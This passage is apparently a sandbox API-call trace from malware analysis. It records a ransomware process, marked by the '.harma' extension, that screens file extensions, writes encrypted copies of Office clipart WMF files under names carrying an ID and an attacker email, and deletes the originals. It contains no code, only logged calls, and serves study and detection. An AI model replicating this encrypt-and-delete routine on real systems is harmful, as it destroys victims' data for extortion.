lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.029] lstrlenW (lpString=".xls") returned 4 [0152.029] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.029] lstrlenW (lpString=".xlsx") returned 5 [0152.029] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.029] lstrlenW (lpString=".ppt") returned 4 [0152.029] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0152.029] lstrlenW (lpString=".zip") returned 4 [0152.029] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.029] lstrlenW (lpString=".rar") returned 4 [0152.029] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.029] lstrlenW (lpString=".bz2") returned 4 [0152.029] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.029] lstrlenW (lpString=".7z") returned 3 [0152.029] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0152.029] lstrlenW (lpString=".dbf") returned 4 [0152.029] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0152.029] lstrlenW (lpString=".1cd") returned 4 [0152.029] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0152.030] lstrlenW (lpString=".jpg") returned 4 [0152.030] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0152.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0152.030] lstrlenW (lpString=".doc") returned 4 [0152.030] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.030] lstrlenW (lpString=".docx") returned 5 [0152.030] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.030] lstrlenW (lpString=".pdf") returned 4 [0152.030] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.030] lstrlenW (lpString=".xls") returned 4 [0152.030] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.030] lstrlenW (lpString=".xlsx") returned 5 [0152.030] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.030] lstrlenW (lpString=".ppt") returned 4 [0152.030] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0152.030] lstrlenW (lpString=".zip") returned 4 [0152.030] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.030] lstrlenW (lpString=".rar") returned 4 [0152.030] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.030] lstrlenW (lpString=".bz2") returned 4 [0152.030] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.030] lstrlenW (lpString=".7z") returned 3 [0152.030] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0152.030] lstrlenW (lpString=".dbf") returned 4 [0152.031] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0152.031] lstrlenW (lpString=".1cd") returned 4 [0152.031] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned 63 [0152.031] lstrlenW (lpString=".jpg") returned 4 [0152.031] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.031] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0152.031] lstrlenW (lpString="ED00019_.WMF") returned 12 [0152.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0152.032] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=13042) returned 1 [0152.032] CloseHandle (hObject=0x20c) returned 1 [0152.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf")) returned 0x20 [0152.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0152.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0152.032] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.032] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0152.033] GetLastError () returned 0x0 [0152.033] ReadFile (in: hFile=0x20c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x32f2, lpOverlapped=0x0) returned 1 [0152.042] WriteFile (in: hFile=0x370, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x3300, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x3300, lpOverlapped=0x0) returned 1 [0152.043] ReadFile (in: hFile=0x20c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0152.043] WriteFile (in: hFile=0x370, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0152.043] SetEndOfFile (hFile=0x370) returned 1 [0152.043] CloseHandle (hObject=0x370) returned 1 [0152.043] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.043] SetEndOfFile (hFile=0x20c) returned 1 [0152.047] CloseHandle (hObject=0x20c) returned 1 [0152.047] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0152.048] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf")) returned 1 [0152.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0152.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0152.049] lstrlenW (lpString=".doc") returned 4 [0152.049] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.049] lstrlenW (lpString=".docx") returned 5 [0152.049] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.049] lstrlenW (lpString=".pdf") returned 4 [0152.049] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.049] lstrlenW (lpString=".xls") returned 4 [0152.049] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.049] lstrlenW (lpString=".xlsx") returned 5 [0152.049] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.049] lstrlenW (lpString=".ppt") returned 4 [0152.049] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0152.049] lstrlenW (lpString=".zip") returned 4 [0152.049] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.049] lstrlenW (lpString=".rar") returned 4 [0152.049] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.049] lstrlenW (lpString=".bz2") returned 4 [0152.049] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.049] lstrlenW (lpString=".7z") returned 3 [0152.049] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0152.049] lstrlenW (lpString=".dbf") returned 4 [0152.049] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0152.049] lstrlenW (lpString=".1cd") returned 4 [0152.049] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0152.050] lstrlenW (lpString=".jpg") returned 4 [0152.050] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0152.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0152.050] lstrlenW (lpString=".doc") returned 4 [0152.050] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.050] lstrlenW (lpString=".docx") returned 5 [0152.050] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.050] lstrlenW (lpString=".pdf") returned 4 [0152.050] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.050] lstrlenW (lpString=".xls") returned 4 [0152.050] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.050] lstrlenW (lpString=".xlsx") returned 5 [0152.050] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.050] lstrlenW (lpString=".ppt") returned 4 [0152.050] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0152.050] lstrlenW (lpString=".zip") returned 4 [0152.050] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.050] lstrlenW (lpString=".rar") returned 4 [0152.050] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.050] lstrlenW (lpString=".bz2") returned 4 [0152.050] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.050] lstrlenW (lpString=".7z") returned 3 [0152.050] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0152.051] lstrlenW (lpString=".dbf") returned 4 [0152.051] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0152.051] lstrlenW (lpString=".1cd") returned 4 [0152.051] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0152.051] lstrlenW (lpString=".jpg") returned 4 [0152.051] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.051] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0152.051] lstrlenW (lpString="ED00172_.WMF") returned 12 [0152.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0152.053] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=2700) returned 1 [0152.053] CloseHandle (hObject=0x20c) returned 1 [0152.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf")) returned 0x20 [0152.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0152.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0152.053] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.054] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0152.054] GetLastError () returned 0x0 [0152.054] ReadFile (in: hFile=0x20c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0xa8c, lpOverlapped=0x0) returned 1 [0152.285] WriteFile (in: hFile=0x370, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xa90, lpOverlapped=0x0) returned 1 [0152.286] ReadFile (in: hFile=0x20c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0152.286] WriteFile (in: hFile=0x370, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0152.286] SetEndOfFile (hFile=0x370) returned 1 [0152.287] CloseHandle (hObject=0x370) returned 1 [0152.287] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.287] SetEndOfFile (hFile=0x20c) returned 1 [0152.290] CloseHandle (hObject=0x20c) returned 1 [0152.290] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0152.387] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf")) returned 1 [0152.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0152.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0152.388] lstrlenW (lpString=".doc") returned 4 [0152.388] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.388] lstrlenW (lpString=".docx") returned 5 [0152.388] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.388] lstrlenW (lpString=".pdf") returned 4 [0152.388] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.388] lstrlenW (lpString=".xls") returned 4 [0152.388] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.388] lstrlenW (lpString=".xlsx") returned 5 [0152.388] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.388] lstrlenW (lpString=".ppt") returned 4 [0152.388] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0152.388] lstrlenW (lpString=".zip") returned 4 [0152.388] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.388] lstrlenW (lpString=".rar") returned 4 [0152.388] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.388] lstrlenW (lpString=".bz2") returned 4 [0152.388] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.388] lstrlenW (lpString=".7z") returned 3 [0152.388] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0152.388] lstrlenW (lpString=".dbf") returned 4 [0152.388] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0152.389] lstrlenW (lpString=".1cd") returned 4 [0152.389] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0152.389] lstrlenW (lpString=".jpg") returned 4 [0152.389] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0152.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0152.389] lstrlenW (lpString=".doc") returned 4 [0152.389] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.389] lstrlenW (lpString=".docx") returned 5 [0152.389] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.389] lstrlenW (lpString=".pdf") returned 4 [0152.389] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.389] lstrlenW (lpString=".xls") returned 4 [0152.389] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.389] lstrlenW (lpString=".xlsx") returned 5 [0152.389] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.389] lstrlenW (lpString=".ppt") returned 4 [0152.389] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0152.389] lstrlenW (lpString=".zip") returned 4 [0152.389] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.389] lstrlenW (lpString=".rar") returned 4 [0152.390] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.390] lstrlenW (lpString=".bz2") returned 4 [0152.390] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.390] lstrlenW (lpString=".7z") returned 3 [0152.390] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0152.390] lstrlenW (lpString=".dbf") returned 4 [0152.390] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0152.390] lstrlenW (lpString=".1cd") returned 4 [0152.390] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0152.390] lstrlenW (lpString=".jpg") returned 4 [0152.390] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.390] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0152.390] lstrlenW (lpString="EN00242_.WMF") returned 12 [0152.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0152.407] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=6780) returned 1 [0152.407] CloseHandle (hObject=0x384) returned 1 [0152.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf")) returned 0x20 [0152.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0152.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0152.471] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.471] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0152.472] GetLastError () returned 0x0 [0152.472] ReadFile (in: hFile=0x368, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x1a7c, lpOverlapped=0x0) returned 1 [0152.566] WriteFile (in: hFile=0x364, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x1a80, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x1a80, lpOverlapped=0x0) returned 1 [0152.625] ReadFile (in: hFile=0x368, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0152.625] WriteFile (in: hFile=0x364, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0152.625] SetEndOfFile (hFile=0x364) returned 1 [0152.625] CloseHandle (hObject=0x364) returned 1 [0152.625] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.625] SetEndOfFile (hFile=0x368) returned 1 [0152.629] CloseHandle (hObject=0x368) returned 1 [0152.629] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0152.629] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf")) returned 1 [0152.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0152.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0152.631] lstrlenW (lpString=".doc") returned 4 [0152.631] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.631] lstrlenW (lpString=".docx") returned 5 [0152.631] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.631] lstrlenW (lpString=".pdf") returned 4 [0152.631] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.631] lstrlenW (lpString=".xls") returned 4 [0152.631] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.632] lstrlenW (lpString=".xlsx") returned 5 [0152.632] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.632] lstrlenW (lpString=".ppt") returned 4 [0152.632] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0152.632] lstrlenW (lpString=".zip") returned 4 [0152.632] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.632] lstrlenW (lpString=".rar") returned 4 [0152.632] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 